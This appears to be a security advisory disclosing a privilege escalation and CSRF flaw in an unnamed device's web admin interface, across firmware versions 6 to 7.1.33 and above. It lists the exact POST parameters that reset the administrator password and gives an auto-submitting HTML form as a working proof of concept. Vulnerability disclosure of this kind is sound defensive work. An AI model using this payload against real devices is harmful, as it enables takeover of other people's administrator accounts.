Details.
The privilege escalation is possible because the form used to
login as the admin user is the same form for resetting the
admin password, and the user is not required to enter their
old password when changing their password. This form is also
vulnerable to Cross-Site Request Forgery (CSRF).

This issue is exploitable on the following pages:
Version 7, 8: http://x.x.x.x/advanced_network.htm
Version 6 and below: http://x.x.x.x/advanced.htm

Where an attacker can reset the Administrator password by
removing all password attempt variables and adding the
following POST data:

admin_mode=on
admin_mode_password=newpass
admin_mode_password_confirm=newpass
Settings=Save
hidden_tag=(leave as the current post variable if CSRF
protection is enabled in firmware versions 7.1.33 and above)

After sending the request the attacker can now login as the
Administrator with the credentials specified in the above
request. 

Proof of Concept.
<?php echo htmlentities('<html>
<head></head>
<body onLoad=javascript:document.form.submit()>
<form action=" http://x.x.x.x/advanced_network.htm" name="form"
method="POST">
<input type="text" name="admin_mode" value="on">
<input type="text" name="admin_mode_password" value="newpass">
<input type="text" name="admin_mode_password_confirm" value="newpass">
<input type="text" name="Settings" value="save">
</form>
</body><br>
</html>'); ?>
